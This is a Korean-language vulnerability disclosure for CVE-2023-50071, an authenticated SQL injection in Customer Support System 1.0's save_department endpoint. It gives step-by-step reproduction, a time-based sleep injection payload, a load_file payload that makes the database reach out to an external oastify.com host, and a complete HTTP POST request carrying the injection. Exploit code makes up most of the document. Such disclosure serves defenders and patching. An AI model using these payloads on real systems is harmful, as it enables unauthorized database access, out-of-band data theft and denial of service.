
Customer Support System 1.0의 /customer_support/ajax.php?action=save_department에서 여러 SQL 삽입 취약점이 발견되었습니다. 이 취약점으로 인해 인증된 공격자가 id 또는 name을 통해 임의의 SQL 명령을 실행할 수 있습니다.
설명: Customer Support System 1.0의 /customer_support/ajax.php?action=save_department에서 다중 SQL 인젝션 취약점이 존재하며, 인증된 공격자가 id 또는 name 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcantara
날짜: 29/11/2023
CVE: CVE-2023-50071
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2023-50071
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2023-50071
Tenable 링크: https://www.tenable.com/cve/CVE-2023-50071
확인 날짜: 15/12/2023
테스트 환경: Windows
1- 애플리케이션에 로그인합니다.
2- /customer_support/index.php?page=department_list 페이지로 이동합니다.
3- 부서를 생성하거나 편집한 후 id 또는 name 매개변수 중 하나에 악성 페이로드를 삽입합니다.
페이로드:
id: (select load_file('\\c7kwr16trd54p693ve9xjbaao1usii67.oastify.com\test'))
name: '+(select*from(select(sleep(20)))a)+'
POST /customer_support/ajax.php?action=save_department HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------279004446431847057031125356738
Content-Length: 444
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=department_list
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="id"
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="name"
test'+(select*from(select(sleep(20)))a)+'
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="description"
Teste
-----------------------------279004446431847057031125356738--
발견자/크레딧:
Geraldo Alcantara